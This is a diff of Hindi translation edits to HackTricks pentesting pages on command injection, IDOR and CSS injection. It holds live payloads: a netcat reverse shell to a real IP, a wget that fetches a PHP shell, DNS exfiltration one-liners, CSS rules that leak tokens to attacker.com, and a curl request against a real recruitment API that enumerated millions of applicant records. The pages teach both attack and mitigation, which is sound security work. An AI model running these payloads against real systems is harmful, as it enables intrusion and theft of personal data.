@ -45,9 +44,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### पैरामीटर
### पैरामीटर्स
यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए कमजोर हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
यहाँ शीर्ष 25 पैरामीटर्स दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए संवेदनशील हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +76,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Time based data exfiltration
डेटा निकालना: char by char
डेटा निकालना: अक्षर-दर-अक्षर
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -91,7 +90,7 @@ sys 0m0.000s
```
### DNS based data exfiltration
यह tool `https://github.com/HoLyVieR/dnsbin` पर उपलब्ध है और dnsbin.zhack.ca पर भी होस्ट किया गया है
यह `https://github.com/HoLyVieR/dnsbin` के टूल पर आधारित है, जो dnsbin.zhack.ca पर भी होस्ट है
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,7 +100,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS based data exfiltration की जाँच करने के लिए ऑनलाइन टूल:
DNS based data exfiltration की जाँच करने के लिए ऑनलाइन टूल्स:
- dnsbin.zhack.ca
- pingb.in
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
जब आप JavaScript/TypeScript बैक-एंड का ऑडिट करते हैं, तो अक्सर आपको Node.js `child_process` API मिलेगी।
JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API का सामना करेंगे।
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` एक **shell** (`/bin/sh -c`) शुरू करता है, इसलिए shell के लिए विशेष अर्थ रखने वाला कोई भी कैरेक्टर (back-ticks, `;`, `&&`, `|`, `$()`, …) जब स्ट्रिंग में user input के साथ जोड़ा जाता है तो **command injection** हो सकता है।
`exec()` एक **shell** (`/bin/sh -c`) को spawn करता है, इसलिए shell को विशेष अर्थ रखने वाले कोई भी प्रतीक (back-ticks, `;`, `&&`, `|`, `$()`, …) तब **command injection** का कारण बनेंगे जब user input स्ट्रिंग में जोड़ दिया जाए।
**निवारण:** use `execFile()` (or `spawn()` without the `shell` option) और **प्रत्येक argument को अलग array element के रूप में प्रदान करें** ताकि कोई shell शामिल न हो:
**Mitigation:** use `execFile()` (or `spawn()` without the `shell` option) and provide **प्रत्येक argument को एक अलग array element के रूप में** ताकि कोई shell शामिल न हो:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,7 +139,7 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
वास्तविक मामला: *Synology Photos* ≤ 1.7.0-0794 एक अप्रमाणित WebSocket event के माध्यम से शोषण योग्य था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जो बाद में `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024).
वास्तविक मामला: *Synology Photos* ≤ 1.7.0-0794 एक अप्रमाणित WebSocket इवेंट के माध्यम से शोषण योग्य था, जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा था, जो बाद में `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024).
## Brute-Force डिटेक्शन सूची

60
src/pentesting-web/idor.md
View File

@ -2,23 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier का खुलासा करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए **सीधे** उपयोग किया जाता है **बिना यह सत्यापित किए कि caller उस object को access/modify करने के लिए authorized है**।
Successful exploitation आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है, जैसे अन्य users के data को पढ़ना या modify करना, और worst case में full account takeover या mass-data exfiltration तक हो सकता है।
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier को प्रकट करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए **सीधे** उपयोग किया जाता है बिना यह सत्यापित किए कि caller उस object को एक्सेस/संशोधित करने के लिए **अधिकार प्राप्त** है।
सफल एक्सप्लॉइटेशन आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है — जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना — और सबसे खराब स्थिति में पूरा account takeover या mass-data exfiltration हो सकता है।
---
## 1. संभावित IDORs की पहचान
1. ऐसे **parameters** खोजें जो किसी object का संदर्भ देते हों:
1. उन **parameters की तलाश करें जो किसी object का संदर्भ देते हैं**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. उन endpoints को प्राथमिकता दें जो data को **read या update** करते हैं (`GET`, `PUT`, `PATCH`, `DELETE`)।
3. ध्यान दें जब identifiers **sequential या predictable** हों – यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद होगा।
4. hidden या alternate flows (उदा. login pages में *"Paradox team members"* link) की खोज करें जो extra APIs को उजागर कर सकते हैं।
5. एक **authenticated low-privilege session** का उपयोग करें और केवल ID बदलें **same token/cookie रखते हुए**। Authorization error का अभाव आमतौर पर IDOR का संकेत होता है।
2. उन endpoints को प्राथमिकता दें जो डेटा को **read या update** करते हैं (`GET`, `PUT`, `PATCH`, `DELETE`)।
3. ध्यान दें जब identifiers **क्रमिक या अनुमानित** हों – अगर आपका ID `64185742` है, तो `64185741` संभवतः मौजूद होगा।
4. hidden या वैकल्पिक flows (उदा. *"Paradox team members"* लिंक लॉगिन पेजों में) एक्सपोज़ किए गए अतिरिक्त APIs प्रकट कर सकते हैं।
5. एक **authenticated low-privilege session** का उपयोग करें और केवल ID बदलें **उसी token/cookie को रखते हुए**। authorization error की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।
### त्वरित मैन्युअल छेड़छाड़ (Burp Repeater)
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -38,33 +38,33 @@ done
```
---
### user/file enumeration के लिए Error-response oracle
### Error-response oracle for user/file enumeration
जब कोई download endpoint दोनों username और filename स्वीकार करता है (उदा. `/view.php?username=<u>&file=<f>`), error messages में सूक्ष्म अंतर अक्सर एक oracle बनाते हैं:
जब कोई download endpoint एक साथ username और filename दोनों स्वीकार करता है (उदा. `/view.php?username=<u>&file=<f>`), तो error messages में सूक्ष्म अंतर अक्सर एक oracle बना देते हैं:
- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist" (कभी-कभी उपलब्ध files को भी सूचीबद्ध करता है)
- Bad extension → validation error
- मौजूद नहीं username → "User not found"
- गलत filename लेकिन valid extension → "File does not exist" (कभी-कभी उपलब्ध files भी सूचीबद्ध होती हैं)
- गलत extension → validation error
किसी भी authenticated session के साथ, आप benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" string पर filter करके मान्य users का पता लगा सकते हैं:
किसी भी authenticated session में, आप एक benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" स्ट्रिंग पर filter करके वैध users खोज सकते हैं:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
एक बार वैध उपयोगकर्ता नाम पहचान लिए जाने पर, सीधे विशिष्ट फाइलों का अनुरोध करें (e.g., `/view.php?username=amanda&file=privacy.odt`). यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों के अनधिकृत प्रकटीकरण और credential leakage का कारण बनता है।
एक बार वैध usernames की पहचान हो जाने पर, सीधे विशिष्ट फ़ाइलें अनुरोध करें (उदा., `/view.php?username=amanda&file=privacy.odt`)। यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों और credential leakage के अनधिकृत खुलासे का कारण बनता है।
---
## 2. वास्तविक दुनिया का केस स्टडी – McHire Chatbot Platform (2025)
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
Paradox.ai-powered **McHire** भर्ती पोर्टल के आकलन के दौरान निम्नलिखित IDOR पाया गया:
Paradox.ai-powered **McHire** recruitment portal के आकलन के दौरान निम्नलिखित IDOR पाया गया:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
`lead_id` घटाकर, टेस्टर ने मनमाने आवेदकों की **full PII** (नाम, ई‑मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) और एक consumer **JWT** प्राप्त किया जिसे उपयोग करके session hijacking संभव हुआ। रेंज `1 – 64,185,742` की enumeration ने लगभग **64 million** रिकॉर्ड उजागर किए।
lead_id घटाकर परीक्षक ने मनमाने applicants के **full PII** (name, e-mail, phone, address, shift preferences) तथा एक consumer **JWT** प्राप्त किया जिससे session hijacking संभव हुआ। `1 – 64,185,742` रेंज की Enumeration से लगभग **64 million** रिकॉर्ड उजागर हुए।
Proof-of-Concept request:
```bash
@ -72,26 +72,26 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
टेस्ट अकाउंट तक पहुँच देने वाले **default admin credentials** (`123456:123456`) के साथ मिलकर, इस कमज़ोरी ने एक गंभीर, कंपनी-व्यापी डेटा उल्लंघन का कारण बना।
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. IDOR / BOLA का प्रभाव
* Horizontal escalation – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट/डिलीट करना।
* Vertical escalation – कम अधिकार वाला उपयोगकर्ता केवल एडमिन के लिए उपलब्ध कार्यक्षमता प्राप्त कर लेता है।
* यदि identifiers क्रमिक हों (जैसे applicant IDs, invoices), तो बड़े पैमाने पर डेटा उल्लंघन हो सकता है।
* अन्य उपयोगकर्ताओं के tokens चुराकर या उनके पासवर्ड रीसेट करके खाता जब्ती।
* Vertical escalation – low privileged user gains admin-only functionality.
* Mass-data breach अगर identifiers क्रमिक हों (उदा., applicant IDs, invoices)।
* Account takeover द्वारा tokens चुराना या अन्य उपयोगकर्ताओं के पासवर्ड रिसेट करना।
---
## 4. रोकथाम और सर्वोत्तम अभ्यास
1. हर अनुरोध पर **object-level authorization लागू करें** (`user_id == session.user`)।
2. auto-increment IDs के बजाय **अप्रत्यक्ष, अनुमान-रहित identifiers** (UUIDv4, ULID) पसंद करें।
3. प्राधिकरण **server-side** पर करें; कभी भी hidden form fields या UI controls पर भरोसा न करें।
4. एक केंद्रीय middleware में **RBAC / ABAC** चेक लागू करें।
5. IDs की enumeration का पता लगाने के लिए **rate-limiting & logging** जोड़ें।
6. प्रत्येक नए endpoint का security परीक्षण करें (unit, integration, और DAST)।
## 4. निवारक उपाय और सर्वोत्तम अभ्यास
1. **Enforce object-level authorization** को हर अनुरोध पर लागू करें (`user_id == session.user`)।
2. auto-increment IDs की बजाय **indirect, unguessable identifiers** (UUIDv4, ULID) को प्राथमिकता दें।
3. authorization **server-side** पर करें; hidden form fields या UI controls पर कभी भरोसा न करें।
4. केन्द्रीय middleware में **RBAC / ABAC** checks लागू करें।
5. ID enumeration का पता लगाने के लिए **rate-limiting & logging** जोड़ें।
6. हर नए endpoint का security परीक्षण करें (unit, integration, and DAST)।
---
## 5. Tooling
## 5. उपकरण
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).

200
src/pentesting-web/xs-search/css-injection/README.md
View File

@ -4,9 +4,9 @@
## CSS Injection
### एट्रिब्यूट सेलेक्टर
### एट्रिब्यूट सिलेक्टर
CSS सेलेक्टर्स को इस तरह बनाया जाता है कि वे `input` एलिमेंट के `name` और `value` एट्रिब्यूट के मानों से मिलें। यदि `input` एलिमेंट के `value` एट्रिब्यूट की शुरुआत किसी विशिष्ट कैरैक्टर से होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है:
CSS चयनकर्ता `input` एलिमेंट के `name` और `value` एट्रिब्यूट के मान से मेल खाने के लिए बनाए जाते हैं। यदि `input` एलिमेंट का `value` एट्रिब्यूट किसी विशेष अक्षर से शुरू होता है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
हालाँकि, यह तरीका छिपे हुए input elements (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट्स बैकग्राउंड लोड नहीं करते।
हालाँकि, यह तरीका छिपे हुए इनपुट एलिमेंट्स (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट पृष्ठभूमि (background) लोड नहीं करते।
#### छिपे हुए एलिमेंट्स के लिए बायपास
#### छिपे हुए एलिमेंट्स के लिए बाइपास
इस सीमा को बायपास करने के लिए, आप `~` general sibling combinator का उपयोग करके उसके बाद आने वाले sibling element को target कर सकते हैं। फिर CSS rule hidden input element के बाद आने वाले सभी siblings पर लागू हो जाता है, जिससे background image लोड हो जाती है:
इस सीमा को दरकिनार करने के लिए, आप `~` जनरल सिबलिंग कम्बिनेटर का उपयोग करके अगले sibling एलिमेंट को टार्गेट कर सकते हैं। फिर CSS नियम उस hidden input एलिमेंट के बाद आने वाले सभी siblings पर लागू होता है, जिससे बैकग्राउंड इमेज लोड हो जाती है:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [यहाँ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### CSS Injection के लिए पूर्व-आवश्यकताएँ
#### CSS Injection के लिए आवश्यकताएँ
For the CSS Injection technique to be effective, certain conditions must be met:
CSS Injection तकनीक प्रभावी होने के लिए कुछ शर्तें पूरी होनी चाहिए:
1. **Payload Length**: CSS injection vector को crafted selectors समाहित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए।
2. **CSS Re-evaluation**: आपके पास पेज को frame करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS की re-evaluation को trigger करने के लिए आवश्यक है।
3. **External Resources**: यह technique externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है।
1. **Payload Length**: CSS injection वेक्टर को तैयार किए गए selectors को समायोजित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए।
2. **CSS Re-evaluation**: आपको पेज को फ्रेम करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS के पुनः मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
3. **External Resources**: यह तकनीक externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है।
### Blind Attribute Selector
As [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
जैसा कि [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), यह संभव है कि selectors **`:has`** और **`:not`** को मिलाकर blind elements से भी कंटेंट की पहचान की जा सके। यह तब बहुत उपयोगी होता है जब आपको यह अंदाजा ही न हो कि CSS injection लोड कर रहे वेब पेज के अंदर क्या है।\
इन selectors का उपयोग समान प्रकार के कई ब्लॉकों से जानकारी निकालने के लिए भी किया जा सकता है, जैसे कि:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,34 +52,34 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **CSS injection का उपयोग करके blind pages से जानकारी** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
पिछली तकनीक में कुछ कमियाँ हैं — पूर्वापेक्षाएँ देखें। आपको या तो **victim को कई लिंक भेजने में सक्षम होना चाहिए**, या आपको **CSS injection vulnerable page को iframe करने में सक्षम होना चाहिए**।
The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**.
हालाँकि, एक और चालाक तकनीक है जो तकनीक की गुणवत्ता सुधारने के लिए **CSS `@import`** का उपयोग करती है।
हालाँकि, एक और चालाक technique है जो तकनीक की गुणवत्ता सुधारने के लिए **CSS `@import`** का उपयोग करती है।
इसे सबसे पहले [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) ने दिखाया था और यह इस तरह काम करता है:
यह पहले [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) द्वारा दिखाया गया था और यह इस प्रकार काम करता है:
एक ही पेज को बार-बार, हर बार दर्जनों अलग payloads के साथ लोड करने के बजाय (जैसा कि पिछली तकनीक में), हम पेज को **सिर्फ एक बार लोड करेंगे और सिर्फ एक import के साथ attackers server की ओर इशारा करेंगे** (यह payload है जिसे victim को भेजना है):
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim):
```css
@import url("//attacker.com:5001/start?");
```
1. Import attackers से **कुछ CSS script प्राप्त करेगा** और **browser इसे load करेगा**.
2. Attacker द्वारा भेजा जाने वाला CSS script का पहला भाग **फिर से attackers के server पर एक और `@import` होगा.**
1. attackers server अभी इस request का response नहीं देगा, क्योंकि हम कुछ chars को leak करना चाहते हैं और फिर अगले ones को leak करने के लिए इस import का payload से response करेंगे.
3. Payload का दूसरा और बड़ा हिस्सा **attribute selector leakage payload** होगा
1. यह attackers के server को secret का **पहला char और आखिरी char** भेजेगा
4. जब attackers server को secret के **पहले और आखिरी char** मिल जाएंगे, तो यह **step 2 में मांगी गई import का response देगा**.
1. Response बिल्कुल वही होगा जैसा कि **steps 2, 3 and 4**, लेकिन इस बार यह secret के **दूसरे char और फिर उप-आखिरी** को खोजने की कोशिश करेगा.
1. यह import attackers से **कुछ CSS script प्राप्त करेगा** और **browser इसे लोड करेगा**।
2. CSS script का पहला हिस्सा जिसे attacker भेजेगा **फिर से attackers server के लिए एक और `@import` होगा।**
1. attackers server अभी इस request का जवाब नहीं देगा, क्योंकि हम कुछ chars को leak करना चाहते हैं और फिर अगले ones को leak करने के लिए इस import का जवाब payload के साथ देंगे।
3. payload का दूसरा और बड़ा हिस्सा एक **attribute selector leakage payload** होगा
1. यह attackers server को **secret का पहला char और आखिरी char** भेजेगा
4. जब attackers server ने **secret का पहला और आखिरी char** प्राप्त कर लिया होगा, तो यह **step 2 में request किया गया import का जवाब देगा**।
1. जवाब बिल्कुल उसी तरह का होगा जैसा **steps 2, 3 and 4** थे, लेकिन इस बार यह **secret का दूसरा char और फिर अंतिम से दूसरा char (penultimate)** खोजने की कोशिश करेगा।
Attacker उस loop को **follow करेगा जब तक वह secret को पूरी तरह से leak करने में सफल न हो जाए**.
The attacker will f**उस loop का अनुसरण तब तक करेगा जब तक यह secret पूरी तरह से leak नहीं हो जाता**।
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!TIP]
> स्क्रिप्ट हर बार 2 chars (शुरू से और अंत से) खोजने की कोशिश करेगी क्योंकि attribute selector इस तरह की चीज़ें करने की अनुमति देता है:
> Script हर बार 2 chars (beginning और end से) खोजने की कोशिश करेगा क्योंकि attribute selector ऐसे constructs की अनुमति देता है:
>
> ```css
> /* value^= to match the beggining of the value*/
@ -93,33 +93,33 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
> }
> ```
>
> इससे स्क्रिप्ट secret को तेजी से leak कर पाएगी।
> इससे secret को तेज़ी से leak करना संभव होता है।
> [!WARNING]
> कभी-कभी स्क्रिप्ट **यह सही तरीके से detect नहीं करती कि पाया गया prefix + suffix पहले से ही पूरा flag है** और यह आगे (prefix में) और पीछे (suffix में) बढ़ती रहेगी और किसी बिंदु पर hang कर जाएगी.\
> चिंता की बात नहीं, बस **output** चेक करें क्योंकि **आप वहां flag देख सकते हैं**.
> कभी-कभी script **सही तरीके से यह detect नहीं कर पाती कि discovered prefix + suffix पहले से ही पूरा flag है** और यह आगे (prefix में) और पीछे (suffix में) बढ़ती रहती है और किसी बिंदु पर hang कर जाएगी.\
> चिंता की कोई बात नहीं, बस **output** चेक करें क्योंकि **आप flag वहां देख सकते हैं**।
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. यह CSS custom properties, attr() function (same-element attributes पढ़ने के लिए), नए CSS if() conditionals (branching के लिए), और image-set() (match किए गए value को encode करने वाला network request trigger करने के लिए) पर निर्भर करता है।
This primitive इनलाइन element के style attribute का उपयोग करके केवल उसी element की attributes पढ़कर exfiltration सक्षम करती है, बिना selectors या external stylesheets के। यह CSS custom properties, attr() function (same-element attributes पढ़ने के लिए), नए CSS if() conditionals (branching के लिए), और image-set() पर निर्भर करती है जो matched value को encode करके network request trigger करती है।
> [!WARNING]
> if() में equality comparisons के लिए string literals में double quotes की आवश्यकता होती है। Single quotes match नहीं करेंगे।
> if() में equality comparisons के लिए string literals में double quotes जरूरी हैं। Single quotes match नहीं करेंगी।
- Sink: किसी element के style attribute को control करें और सुनिश्चित करें कि target attribute उसी element पर हो (attr() केवल same-element attributes पढ़ता है)।
- Read: attribute की value को CSS variable में copy करें: `--val: attr(title)`.
- Decide: nested conditionals का उपयोग करके variable की तुलना string candidates से कर URL चुनें: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: चुने गए endpoint के लिए request मजबूर करने के लिए `background: image-set(var(--steal))` (या कोई भी fetching property) लागू करें।
- Sink: किसी element के style attribute को control करें और सुनिश्चित करें कि target attribute उसी element पर है (attr() केवल same-element attributes पढ़ता है)।
- Read: attribute को CSS variable में copy करें: `--val: attr(title)`.
- Decide: nested conditionals का उपयोग करके variable की तुलना string candidates से करें और एक URL चुनें: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: चुने हुए endpoint को request करने के लिए `background: image-set(var(--steal))` (या कोई भी fetching property) apply करें।
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
कार्यशील payload (तुलना में double quotes आवश्यक हैं):
काम करने वाला payload (तुलना में डबल उद्धरण आवश्यक हैं):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
नेस्टेड कंडीशनों के साथ attribute मानों की सूची बनाना:
नेस्टेड शर्तों के साथ attribute मानों की सूची बनाना:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
@ -130,14 +130,14 @@ Attempt (does not work; single quotes in comparison):
नोट्स और सीमाएँ:
- अनुसंधान के समय Chromium-based ब्राउज़रों पर काम करता है; अन्य इंजन पर व्यवहार अलग हो सकता है।
- यह सीमित/गणनीय मान क्षेत्रों (IDs, flags, छोटे usernames) के लिए सबसे उपयुक्त है। बाहरी stylesheets के बिना arbitrary लंबी स्ट्रिंग्स चुराना चुनौतीपूर्ण बना रहता है।
- कोई भी CSS property जो URL को fetch करती है, उसे request ट्रिगर करने के लिए उपयोग किया जा सकता है (उदा., background/image-set, border-image, list-style, cursor, content).
- यह सीमित/गणनीय मान स्थान (IDs, flags, short usernames) के लिए सबसे उपयुक्त है। बाहरी stylesheets के बिना arbitrary long strings चुराना अभी भी चुनौतीपूर्ण बना रहता है।
- कोई भी CSS property जो URL फेच करती है request ट्रिगर करने के लिए इस्तेमाल की जा सकती है (उदा., background/image-set, border-image, list-style, cursor, content).
Automation: a Burp Custom Action nested inline-style payloads जनरेट करके attribute values को brute-force करने के लिए उपयोग कर सकता है: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Automation: एक Burp Custom Action nested inline-style payloads जेनरेट कर सकता है ताकि attribute values को brute-force किया जा सके: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Other selectors
DOM के हिस्सों तक पहुँचने के अन्य तरीके **CSS selectors** का उपयोग कर:
DOM के हिस्सों तक पहुँचने के अन्य तरीके **CSS selectors** के साथ:
- **`.class-to-search:nth-child(2)`**: यह DOM में class "class-to-search" वाला दूसरा आइटम खोजेगा।
- **`:empty`** selector: उदाहरण के लिए [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
### Error based XS-Search
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**संदर्भ:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
सामान्य उद्देश्य यह है कि **नियंत्रित endpoint से एक custom font का उपयोग किया जाए** और यह सुनिश्चित किया जाए कि **text (इस मामले में, 'A') केवल तभी इस font के साथ दर्शाया जाए जब निर्दिष्ट resource (`favicon.ico`) लोड न हो सके**।
कुल मिलाकर उद्देश्य है कि **एक नियंत्रित endpoint से custom font का उपयोग करें** और यह सुनिश्चित करें कि **टेक्स्ट (इस मामले में, 'A') तब ही इस font के साथ दिखाई दे जब निर्दिष्ट resource (`favicon.ico`) लोड नहीं हो सके**।
```html
<!DOCTYPE html>
<html>
@ -174,41 +174,41 @@ font-family: "poc";
</body>
</html>
```
1. **कस्टम फ़ॉन्ट का उपयोग**:
1. **Custom Font Usage**:
- एक कस्टम फ़ॉन्ट `<head>` सेक्शन के `<style>` टैग के अंदर `@font-face` नियम का उपयोग करके परिभाषित किया गया है।
- फ़ॉन्ट का नाम `poc` रखा गया है और इसे एक external endpoint (`http://attacker.com/?leak`) से फ़ेच किया जाता है।
- `unicode-range` प्रॉपर्टी को `U+0041` पर सेट किया गया है, जो विशिष्ट यूनिकोड कैरेक्टर 'A' को लक्षित करता है।
- एक कस्टम फ़ॉन्ट को `<head>` सेक्शन में `<style>` टैग के अंदर `@font-face` नियम का उपयोग करके परिभाषित किया गया है।
- फ़ॉन्ट का नाम `poc` रखा गया है और यह एक बाहरी endpoint (`http://attacker.com/?leak`) से लिया जा रहा है।
- `unicode-range` प्रॉपर्टी को `U+0041` पर सेट किया गया है, जो कि विशिष्ट यूनिकोड वर्ण 'A' को लक्षित करता है।
2. **Object Element with Fallback Text**:
- `<body>` सेक्शन में `id="poc0"` वाले `<object>` एलिमेंट को बनाया गया है। यह एलिमेंट `http://192.168.0.1/favicon.ico` से एक resource लोड करने की कोशिश करता है।
- इस एलिमेंट के लिए `font-family` को `<style>` सेक्शन में परिभाषित `'poc'` पर सेट किया गया है।
- यदि resource (`favicon.ico`) लोड करने में विफल रहता है, तो `<object>` टैग के अंदर fallback content (अक्षर 'A') प्रदर्शित होता है।
- यदि external resource लोड नहीं हो पाता, तो fallback content ('A') कस्टम फ़ॉन्ट `poc` का उपयोग करके render होगा।
